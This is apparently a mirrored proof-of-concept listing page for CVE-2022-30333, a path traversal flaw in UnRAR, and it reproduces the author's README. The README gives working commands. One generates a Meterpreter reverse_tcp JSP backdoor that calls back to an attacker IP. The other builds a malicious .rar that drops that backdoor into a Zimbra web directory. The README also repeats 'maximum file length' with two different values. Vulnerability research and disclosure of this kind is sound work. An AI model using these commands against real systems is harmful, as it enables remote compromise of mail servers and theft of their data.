CVE-2022-30333 PoC — UnRAR 路径遍历漏洞

Source

https://github.com/rbowes-r7/unrar-cve-2022-30333-poc

Associated Vulnerability

Title:UnRAR 路径遍历漏洞 (CVE-2022-30333)
Description:RARLAB UnRAR before 6.12 on Linux and UNIX allows directory traversal to write to files during an extract (aka unpack) operation, as demonstrated by creating a ~/.ssh/authorized_keys file. NOTE: WinRAR and Android RAR are unaffected.

Readme

A proof of concept for CVE-2022-30333 - a path traversal vulnerability in unRAR
versions prior to 6.11. I created this as a demonstration of the exploit for
an AttackerKB writeup, and hope to incorporate it in a Metasploit Module soon!

Basically, you provide a target (including path traversal) and some file data,
and this tool will generate a .rar that will extract that file to that location.
The maximum file length is 104 bytes, and the maximum file length is 4096 bytes.
(That's not intrinsic to the vulnerability, it's just what I chose when I
generated the file).

For example, generate a backdoor with `msfvenom`:

```
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
```

Then create a .rar file, planting the .jsp somewhere fun:

```
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar
```

File Snapshot


 [4.0K]  /data/pocs/df7d7945f13fb78b53e7fcd3734ee2b4b61b1218
├── [1.5K]  cve-2022-30333.rb
└── [ 932]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!